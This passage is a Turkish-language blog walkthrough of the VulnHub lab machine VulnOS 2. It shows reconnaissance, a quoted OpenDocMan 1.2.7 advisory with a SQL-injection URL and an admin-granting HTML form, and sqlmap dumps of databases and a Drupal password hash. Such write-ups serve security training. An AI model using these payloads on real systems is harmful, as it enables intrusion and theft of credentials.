{"id":1155,"date":"2021-06-01T18:43:17","date_gmt":"2021-06-01T18:43:17","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1155"},"modified":"2021-06-01T18:46:18","modified_gmt":"2021-06-01T18:46:18","slug":"vulnos-2","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/06\/01\/vulnos-2\/","title":{"rendered":"VULNOS: 2"},"content":{"rendered":"<h2>Makine Hakk\u0131nda Bilgiler<\/h2>\n<p><strong>A\u00e7\u0131klama:<\/strong><br \/>\nVulnOS are a series of vulnerable operating systems packed as virtual images to enhance penetration testing skills<\/p>\n<p><strong>Vulnhub Sayfas\u0131:<\/strong><br \/>\n<a href=\"https:\/\/www.vulnhub.com\/entry\/vulnos-2,147\/\">https:\/\/www.vulnhub.com\/entry\/vulnos-2,147\/<\/a><\/p>\n<p><strong>\u0130ndirme Sayfas\u0131:<\/strong> <a href=\"https:\/\/download.vulnhub.com\/vulnos\/VulnOSv2.7z\">https:\/\/download.vulnhub.com\/vulnos\/VulnOSv2.7z<\/a><\/p>\n<h2>Walkthrough<\/h2>\n<p>Makinenin ip adresini tespit edelim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# ifconfig eth0                                                                                                                                                                                                                      130 \u2a2f\neth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 192.168.0.21  netmask 255.255.255.0  broadcast 192.168.0.255\n        inet6 fe80::20c:29ff:fe4a:4d3f  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 00:0c:29:4a:4d:3f  txqueuelen 1000  (Ethernet)\n        RX packets 32662  bytes 17275873 (16.4 MiB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 36087  bytes 4066865 (3.8 MiB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# arp-scan -l | grep 08:00:27:57:4f:aa\n192.168.0.26    08:00:27:57:4f:aa   PCS Systemtechnik GmbH\n<\/code><\/pre>\n<p>Daha sonras\u0131nda bir nmap taramas\u0131 ger\u00e7ekle\u015ftirelim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# nmap -p- -A 192.168.0.26 -T4\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-05-30 18:14 EDT\nNmap scan report for 192.168.0.26\nHost is up (0.00068s latency).\nNot shown: 65532 closed ports\nPORT     STATE SERVICE VERSION\n22\/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)\n|   2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)\n|   256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)\n|_  256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)\n80\/tcp   open  http    Apache httpd 2.4.7 ((Ubuntu))\n|_http-server-header: Apache\/2.4.7 (Ubuntu)\n|_http-title: VulnOSv2\n6667\/tcp open  irc     ngircd\nMAC Address: 08:00:27:57:4F:AA (Oracle VirtualBox virtual NIC)\nDevice type: general purpose\nRunning: Linux 3.X|4.X\nOS CPE: cpe:\/o:linux:linux_kernel:3 cpe:\/o:linux:linux_kernel:4\nOS details: Linux 3.2 - 4.9\nNetwork Distance: 1 hop\nService Info: Host: irc.example.net; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.68 ms 192.168.0.26\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 30.16 seconds\n<\/code><\/pre>\n<p>A\u015fa\u011f\u0131daki adresin html kodlar\u0131nda \u015f\u00f6yle bir yaz\u0131 buldum.<br \/>\n<a href=\"http:\/\/192.168.0.26\/jabc\/?q=node\/7\">http:\/\/192.168.0.26\/jabc\/?q=node\/7<\/a><\/p>\n<pre><code>Dear customer,\n\nFor security reasons, this section is hidden.\n\nFor a detailed view and documentation of our products, please visit our documentation platform at \/jabcd0cs\/ on the server. Just login with guest\/guest\n\nThank you.<\/code><\/pre>\n<p>Daha sonras\u0131nda<br \/>\n<a href=\"http:\/\/192.168.0.26\/jabcd0cs\/\">http:\/\/192.168.0.26\/jabcd0cs\/<\/a> adresine gittim. OpenDocMan isimli bir uygulama ve bununla alakal\u0131 bir exploit var m\u0131 diye ara\u015ft\u0131rd\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# searchsploit OpenDocMan 1.2.7\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title                                                                                                                                                                                             |  Path\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nOpenDocMan 1.2.7 - Multiple Vulnerabilities                                                                                                                                                                | php\/webapps\/32075.txt\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# locate php\/webapps\/32075.txt\n\/usr\/share\/exploitdb\/exploits\/php\/webapps\/32075.txt\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# cp \/usr\/share\/exploitdb\/exploits\/php\/webapps\/32075.txt .\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# cat 32075.txt                                           \nAdvisory ID: HTB23202\nProduct: OpenDocMan\nVendor: Free Document Management Software\nVulnerable Version(s): 1.2.7 and probably prior\nTested Version: 1.2.7\nAdvisory Publication: February 12, 2014 [without technical details]\nVendor Notification: February 12, 2014\nVendor Patch: February 24, 2014\nPublic Disclosure: March 5, 2014\nVulnerability Type: SQL Injection [CWE-89], Improper Access Control [CWE-284]\nCVE References: CVE-2014-1945, CVE-2014-1946\nRisk Level: High\nCVSSv2 Base Scores: 7.5 (AV:N\/AC:L\/Au:N\/C:P\/I:P\/A:P), 6.5 (AV:N\/AC:L\/Au:S\/C:P\/I:P\/A:P)\nSolution Status: Fixed by Vendor\nDiscovered and Provided: High-Tech Bridge Security Research Lab ( https:\/\/www.htbridge.com\/advisory\/ )\n\n------------------------------------------------------------------------\n-----------------------\n\nAdvisory Details:\n\nHigh-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.\n\n1) SQL Injection in OpenDocMan: CVE-2014-1945\n\nThe vulnerability exists due to insufficient validation of &quot;add_value&quot; HTTP GET parameter in &quot;\/ajax_udf.php&quot; script. A remote unauthenticated attacker can execute arbitrary SQL commands in application&#039;s database.\n\nThe exploitation example below displays version of the MySQL server:\n\nhttp:\/\/[host]\/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v\nersion%28%29,3,4,5,6,7,8,9\n\n2) Improper Access Control in OpenDocMan: CVE-2014-1946\n\nThe vulnerability exists due to insufficient validation of allowed action in &quot;\/signup.php&quot; script when updating user\u00e2??s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application.\n\nThe exploitation example below assigns administrative privileges for the current account:\n\n&lt;form action=&quot;http:\/\/[host]\/signup.php&quot; method=&quot;post&quot; name=&quot;main&quot;&gt;\n&lt;input type=&quot;hidden&quot; name=&quot;updateuser&quot; value=&quot;1&quot;&gt;\n&lt;input type=&quot;hidden&quot; name=&quot;admin&quot; value=&quot;1&quot;&gt;\n&lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;[USER_ID]&quot;&gt;\n&lt;input type=&quot;submit&quot; name=&quot;login&quot; value=&quot;Run&quot;&gt;\n&lt;\/form&gt;\n\n------------------------------------------------------------------------\n-----------------------\n\nSolution:\n\nUpdate to OpenDocMan v1.2.7.2\n\nMore Information:\n<blockquote class=\"wp-embedded-content\" data-secret=\"cYBI4YRSfr\"><a href=\"https:\/\/www.opendocman.com\/opendocman-v1-2-7-1-release\/\">OpenDocMan v1.2.7.1 Release<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"&#8220;OpenDocMan v1.2.7.1 Release&#8221; &#8212; Free Document Management Software\" src=\"https:\/\/www.opendocman.com\/opendocman-v1-2-7-1-release\/embed\/#?secret=w8tWIpQX7P#?secret=cYBI4YRSfr\" data-secret=\"cYBI4YRSfr\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n<blockquote class=\"wp-embedded-content\" data-secret=\"sf9pSfMdXk\"><a href=\"https:\/\/www.opendocman.com\/opendocman-v1-2-7-2-released\/\">OpenDocMan v1.2.7.2 Released<\/a><\/blockquote><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; visibility: hidden;\" title=\"&#8220;OpenDocMan v1.2.7.2 Released&#8221; &#8212; Free Document Management Software\" src=\"https:\/\/www.opendocman.com\/opendocman-v1-2-7-2-released\/embed\/#?secret=L0hwzsI9td#?secret=sf9pSfMdXk\" data-secret=\"sf9pSfMdXk\" width=\"500\" height=\"282\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe>\n\n------------------------------------------------------------------------\n-----------------------\n\nReferences:\n\n[1] High-Tech Bridge Advisory HTB23202 - https:\/\/www.htbridge.com\/advisory\/HTB23202 - Multiple vulnerabilities in OpenDocMan.\n[2] OpenDocMan - http:\/\/www.opendocman.com\/ - Open Source Document Management System written in PHP.\n[3] Common Vulnerabilities and Exposures (CVE) - http:\/\/cve.mitre.org\/ - international in scope and free for public use, CVE\u00c2\u00ae is a dictionary of publicly known information security vulnerabilities and exposures.\n[4] Common Weakness Enumeration (CWE) - http:\/\/cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.\n[5] ImmuniWeb\u00c2\u00ae - http:\/\/www.htbridge.com\/immuniweb\/ - is High-Tech Bridge&#039;s proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.\n\n------------------------------------------------------------------------\n-----------------------\n\nDisclaimer: The information provided in this Advisory is provided &quot;as is&quot; and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.     <\/code><\/pre>\n<p>Ara\u015ft\u0131rma sonucunda <a href=\"http:\/\/192.168.0.26\/jabcd0cs\/\/ajax_udf.php?q=1&amp;add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9\">http:\/\/192.168.0.26\/jabcd0cs\/\/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9<\/a> adresinde bir sql injection oldu\u011funu anlad\u0131m ve union base bir sql injection oldu\u011fu a\u00e7\u0131kt\u0131. Aa\u011f\u0131daki http iste\u011fi ile sqlap arac\u0131l\u0131\u011f\u0131 ile bir sql injection denemesi ger\u00e7ekle\u015ftirdim.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# cat istek \nGET \/jabcd0cs\/\/ajax_udf.php?q=1&amp;add_value=odm_user* HTTP\/1.1\nHost: 192.168.0.26\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: has_js=1; SESS00fab393a69e4a733c9013ec9b5a026a=m9QebivGGYU_7BFvdIH4Wtg9uXUdGCbTpIirhaTRMBM; PHPSESSID=c1vhrd6f5mn5iv43eund2nsg65\nUpgrade-Insecure-Requests: 1\nCache-Control: max-age=0\n<\/code><\/pre>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U\n        ___\n       __H__\n ___ ___[,]_____ ___ ___  {1.5.2#stable}\n|_ -| . [(]     | .&#039;| . |\n|___|_  [&#039;]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#039;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 18:55:08 \/2021-05-30\/\n\n[18:55:08] [INFO] parsing HTTP request from &#039;istek&#039;\ncustom injection marker (&#039;*&#039;) found in option &#039;-u&#039;. Do you want to process it? [Y\/n\/q] Y\n[18:55:08] [INFO] resuming back-end DBMS &#039;mysql&#039; \n[18:55:08] [INFO] testing connection to the target URL\n[18:55:09] [WARNING] heuristic (basic) test shows that URI parameter &#039;#1*&#039; might not be injectable\n[18:55:09] [INFO] testing for SQL injection on URI parameter &#039;#1*&#039;\nit is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y\/n] Y\n[18:55:09] [INFO] testing &#039;Generic UNION query (NULL) - 1 to 10 columns&#039;\n[18:55:10] [WARNING] reflective value(s) found and filtering out\n[18:55:11] [INFO] &#039;ORDER BY&#039; technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test\n[18:55:11] [INFO] target URL appears to have 9 columns in query\n[18:55:13] [INFO] URI parameter &#039;#1*&#039; is &#039;Generic UNION query (NULL) - 1 to 10 columns&#039; injectable\n[18:55:13] [INFO] checking if the injection point on URI parameter &#039;#1*&#039; is a false positive\nURI parameter &#039;#1*&#039; is vulnerable. Do you want to keep testing the others (if any)? [y\/N] N\nsqlmap identified the following injection point(s) with a total of 53 HTTP(s) requests:\n---\nParameter: #1* (URI)\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 9 columns\n    Payload: http:\/\/192.168.0.26:80\/jabcd0cs\/\/ajax_udf.php?q=1&amp;add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n---\n[18:55:19] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu\nweb application technology: PHP 5.5.9, Apache 2.4.7\nback-end DBMS: MySQL &gt;= 5.0.12\n[18:55:19] [INFO] fetching database names\navailable databases [6]:\n[*] drupal7\n[*] information_schema\n[*] jabcd0cs\n[*] mysql\n[*] performance_schema\n[*] phpmyadmin\n\n[18:55:19] [INFO] fetched data logged to text files under &#039;\/root\/.local\/share\/sqlmap\/output\/192.168.0.26&#039;\n\n[*] ending @ 18:55:19 \/2021-05-30\/<\/code><\/pre>\n<p>Database'leri elde etmi\u015f oldum. Bunun \u00fcst\u00fcne drupal'dan kullan\u0131c\u0131lar\u0131 elde etmeyi denedim. \u00c7\u00fcnk\u00fc ssh servisi a\u00e7\u0131kt\u0131 belki makineyeba\u011flanabiliriz.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D drupal7 --tables \n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D drupal7 --tables\n        ___\n       __H__\n ___ ___[)]_____ ___ ___  {1.5.2#stable}\n|_ -| . [.]     | .&#039;| . |\n|___|_  [,]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#039;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 18:56:09 \/2021-05-30\/\n\n[18:56:09] [INFO] parsing HTTP request from &#039;istek&#039;\ncustom injection marker (&#039;*&#039;) found in option &#039;-u&#039;. Do you want to process it? [Y\/n\/q] Y\n[18:56:10] [INFO] resuming back-end DBMS &#039;mysql&#039; \n[18:56:10] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* (URI)\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 9 columns\n    Payload: http:\/\/192.168.0.26:80\/jabcd0cs\/\/ajax_udf.php?q=1&amp;add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n---\n[18:56:10] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu\nweb application technology: PHP 5.5.9, Apache 2.4.7\nback-end DBMS: MySQL &gt;= 5.0.12\n[18:56:10] [INFO] fetching database names\navailable databases [6]:\n[*] drupal7\n[*] information_schema\n[*] jabcd0cs\n[*] mysql\n[*] performance_schema\n[*] phpmyadmin\n\n[18:56:11] [INFO] fetching tables for database: &#039;drupal7&#039;\n[18:56:12] [WARNING] reflective value(s) found and filtering out\nDatabase: drupal7\n[140 tables]\n+------------------------------------------+\n| filter                                   |\n| system                                   |\n| actions                                  |\n| aggregator_category                      |\n| aggregator_category_feed                 |\n| aggregator_category_item                 |\n| aggregator_feed                          |\n| aggregator_item                          |\n| authmap                                  |\n| batch                                    |\n| block                                    |\n| block_custom                             |\n| block_node_type                          |\n| block_role                               |\n| blocked_ips                              |\n| book                                     |\n| cache                                    |\n| cache_block                              |\n| cache_bootstrap                          |\n| cache_field                              |\n| cache_filter                             |\n| cache_form                               |\n| cache_image                              |\n| cache_menu                               |\n| cache_page                               |\n| cache_path                               |\n| cache_rules                              |\n| cache_token                              |\n| cache_update                             |\n| cache_views                              |\n| cache_views_data                         |\n| ckeditor_input_format                    |\n| ckeditor_settings                        |\n| comment                                  |\n| commerce_calculated_price                |\n| commerce_checkout_pane                   |\n| commerce_customer_profile                |\n| commerce_customer_profile_revision       |\n| commerce_line_item                       |\n| commerce_order                           |\n| commerce_order_revision                  |\n| commerce_payment_transaction             |\n| commerce_payment_transaction_revision    |\n| commerce_product                         |\n| commerce_product_revision                |\n| commerce_product_type                    |\n| contact                                  |\n| ctools_access_ruleset                    |\n| ctools_css_cache                         |\n| ctools_custom_content                    |\n| ctools_object_cache                      |\n| date_format_locale                       |\n| date_format_type                         |\n| date_formats                             |\n| field_config                             |\n| field_config_instance                    |\n| field_data_body                          |\n| field_data_comment_body                  |\n| field_data_commerce_customer_address     |\n| field_data_commerce_customer_billing     |\n| field_data_commerce_display_path         |\n| field_data_commerce_line_items           |\n| field_data_commerce_order_total          |\n| field_data_commerce_price                |\n| field_data_commerce_product              |\n| field_data_commerce_total                |\n| field_data_commerce_unit_price           |\n| field_data_field_description             |\n| field_data_field_image                   |\n| field_data_field_product                 |\n| field_data_field_tags                    |\n| field_revision_body                      |\n| field_revision_comment_body              |\n| field_revision_commerce_customer_address |\n| field_revision_commerce_customer_billing |\n| field_revision_commerce_display_path     |\n| field_revision_commerce_line_items       |\n| field_revision_commerce_order_total      |\n| field_revision_commerce_price            |\n| field_revision_commerce_product          |\n| field_revision_commerce_total            |\n| field_revision_commerce_unit_price       |\n| field_revision_field_description         |\n| field_revision_field_image               |\n| field_revision_field_product             |\n| field_revision_field_tags                |\n| file_managed                             |\n| file_usage                               |\n| filter_format                            |\n| flood                                    |\n| history                                  |\n| image_effects                            |\n| image_styles                             |\n| menu_custom                              |\n| menu_links                               |\n| menu_router                              |\n| node                                     |\n| node_access                              |\n| node_comment_statistics                  |\n| node_revision                            |\n| node_type                                |\n| page_manager_handlers                    |\n| page_manager_pages                       |\n| page_manager_weights                     |\n| queue                                    |\n| rdf_mapping                              |\n| registry                                 |\n| registry_file                            |\n| role                                     |\n| role_permission                          |\n| rules_config                             |\n| rules_dependencies                       |\n| rules_scheduler                          |\n| rules_tags                               |\n| rules_trigger                            |\n| search_dataset                           |\n| search_index                             |\n| search_node_links                        |\n| search_total                             |\n| semaphore                                |\n| sequences                                |\n| sessions                                 |\n| shortcut_set                             |\n| shortcut_set_users                       |\n| simpletest                               |\n| simpletest_test_id                       |\n| stylizer                                 |\n| taxonomy_index                           |\n| taxonomy_term_data                       |\n| taxonomy_term_hierarchy                  |\n| taxonomy_vocabulary                      |\n| tracker_node                             |\n| tracker_user                             |\n| url_alias                                |\n| users                                    |\n| users_roles                              |\n| variable                                 |\n| views_display                            |\n| views_view                               |\n| watchdog                                 |\n+------------------------------------------+\n\n[18:56:12] [INFO] fetched data logged to text files under &#039;\/root\/.local\/share\/sqlmap\/output\/192.168.0.26&#039;\n\n[*] ending @ 18:56:12 \/2021-05-30\/\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D drupal7 -T users --dump \n        ___\n       __H__\n ___ ___[)]_____ ___ ___  {1.5.2#stable}\n|_ -| . [&#039;]     | .&#039;| . |\n|___|_  [&quot;]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#039;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 18:56:33 \/2021-05-30\/\n\n[18:56:33] [INFO] parsing HTTP request from &#039;istek&#039;\ncustom injection marker (&#039;*&#039;) found in option &#039;-u&#039;. Do you want to process it? [Y\/n\/q] Y\n[18:56:33] [INFO] resuming back-end DBMS &#039;mysql&#039; \n[18:56:33] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* (URI)\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 9 columns\n    Payload: http:\/\/192.168.0.26:80\/jabcd0cs\/\/ajax_udf.php?q=1&amp;add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n---\n[18:56:34] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu\nweb application technology: Apache 2.4.7, PHP 5.5.9\nback-end DBMS: MySQL &gt;= 5.0.12\n[18:56:34] [INFO] fetching database names\navailable databases [6]:\n[*] drupal7\n[*] information_schema\n[*] jabcd0cs\n[*] mysql\n[*] performance_schema\n[*] phpmyadmin\n\n[18:56:34] [INFO] fetching columns for table &#039;users&#039; in database &#039;drupal7&#039;\n[18:56:35] [WARNING] reflective value(s) found and filtering out\n[18:56:35] [INFO] fetching entries for table &#039;users&#039; in database &#039;drupal7&#039;\nDatabase: drupal7\nTable: users\n[2 entries]\n+-----+------+--------------------------+--------------------------+---------+---------------------------------------------------------+------------+---------+------------+--------+------------+---------+---------------+-----------+------------+------------------+\n| uid | data | init                     | mail                     | name    | pass                                                    | login      | theme   | access     | status | created    | picture | timezone      | signature | language   | signature_format |\n+-----+------+--------------------------+--------------------------+---------+---------------------------------------------------------+------------+---------+------------+--------+------------+---------+---------------+-----------+------------+------------------+\n| 0   | NULL | &lt;blank&gt;                  | &lt;blank&gt;                  | &lt;blank&gt; | &lt;blank&gt;                                                 | 0          | &lt;blank&gt; | 0          | 0      | 0          | 0       | NULL          | &lt;blank&gt;   | &lt;blank&gt;    | NULL             |\n| 1   | b:0; | VulnOSv2@localdomain.com | VulnOSv2@localdomain.com | webmin  | $S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr\/Ug | 1462351302 | &lt;blank&gt; | 1462351302 | 1      | 1460812762 | 0       | Europe\/Berlin | &lt;blank&gt;   | &lt;blank&gt;    | NULL             |\n+-----+------+--------------------------+--------------------------+---------+---------------------------------------------------------+------------+---------+------------+--------+------------+---------+---------------+-----------+------------+------------------+\n\n[18:56:36] [INFO] table &#039;drupal7.users&#039; dumped to CSV file &#039;\/root\/.local\/share\/sqlmap\/output\/192.168.0.26\/dump\/drupal7\/users.csv&#039;\n[18:56:36] [INFO] fetched data logged to text files under &#039;\/root\/.local\/share\/sqlmap\/output\/192.168.0.26&#039;\n\n[*] ending @ 18:56:36 \/2021-05-30\/<\/code><\/pre>\n<p>Harika a\u015fa\u011f\u0131daki bilgileri elde etmi\u015f olduk.<\/p>\n<pre><code>webmin:$S$DPc41p2JwLXR6vgPCi.jC7WnRMkw3Zge3pVoJFnOn6gfMfsOr\/Ug<\/code><\/pre>\n<p>\u015eimdi di\u011fer db'lere bakal\u0131m...<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D jabcd0cs --tables      \n        ___\n       __H__\n ___ ___[)]_____ ___ ___  {1.5.2#stable}\n|_ -| . [,]     | .&#039;| . |\n|___|_  [&quot;]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#039;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 19:00:31 \/2021-05-30\/\n\n[19:00:31] [INFO] parsing HTTP request from &#039;istek&#039;\ncustom injection marker (&#039;*&#039;) found in option &#039;-u&#039;. Do you want to process it? [Y\/n\/q] Y\n[19:00:32] [INFO] resuming back-end DBMS &#039;mysql&#039; \n[19:00:32] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* (URI)\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 9 columns\n    Payload: http:\/\/192.168.0.26:80\/jabcd0cs\/\/ajax_udf.php?q=1&amp;add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -\n---\n[19:00:33] [INFO] the back-end DBMS is MySQL\nweb server operating system: Linux Ubuntu\nweb application technology: PHP 5.5.9, Apache 2.4.7\nback-end DBMS: MySQL &gt;= 5.0.12\n[19:00:33] [INFO] fetching database names\navailable databases [6]:\n[*] drupal7\n[*] information_schema\n[*] jabcd0cs\n[*] mysql\n[*] performance_schema\n[*] phpmyadmin\n\n[19:00:33] [INFO] fetching tables for database: &#039;jabcd0cs&#039;\n[19:00:34] [WARNING] reflective value(s) found and filtering out\nDatabase: jabcd0cs\n[15 tables]\n+-------------------+\n| odm_access_log    |\n| odm_admin         |\n| odm_category      |\n| odm_data          |\n| odm_department    |\n| odm_dept_perms    |\n| odm_dept_reviewer |\n| odm_filetypes     |\n| odm_log           |\n| odm_odmsys        |\n| odm_rights        |\n| odm_settings      |\n| odm_udf           |\n| odm_user          |\n| odm_user_perms    |\n+-------------------+\n\n[19:00:34] [INFO] fetched data logged to text files under &#039;\/root\/.local\/share\/sqlmap\/output\/192.168.0.26&#039;\n\n[*] ending @ 19:00:34 \/2021-05-30\/\n\n\u250c\u2500\u2500(root&amp;#x1f480;kali)-[\/home\/kali\/oscp\/vulnos]\n\u2514\u2500# sqlmap -r istek --level=5 --risk=3 --dbs -batch --technique=U -D jabcd0cs -T odm_user --dump\n        ___\n       __H__\n ___ ___[(]_____ ___ ___  {1.5.2#stable}\n|_ -| . [.]     | .&#039;| . |\n|___|_  [)]_|_|_|__,|  _|\n      |_|V...       |_|   http:\/\/sqlmap.org\n\n[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user&#039;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program\n\n[*] starting @ 19:00:50 \/2021-05-30\/\n\n[19:00:50] [INFO] parsing HTTP request from &#039;istek&#039;\ncustom injection marker (&#039;*&#039;) found in option &#039;-u&#039;. Do you want to process it? [Y\/n\/q] Y\n[19:00:51] [INFO] resuming back-end DBMS &#039;mysql&#039; \n[19:00:51] [INFO] testing connection to the target URL\nsqlmap resumed the following injection point(s) from stored session:\n---\nParameter: #1* (URI)\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 9 columns\n    Payload: http:\/\/192.168.0.26:80\/jabcd0cs\/\/ajax_udf.php?q=1&amp;add_value=odm_user UNION ALL SELECT NULL,CONCAT(0x71786a7071,0x74737776684e794b7775705856776162755373417a48796c70655a434a7059494c6a465a564a4d49,0x7176716271),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 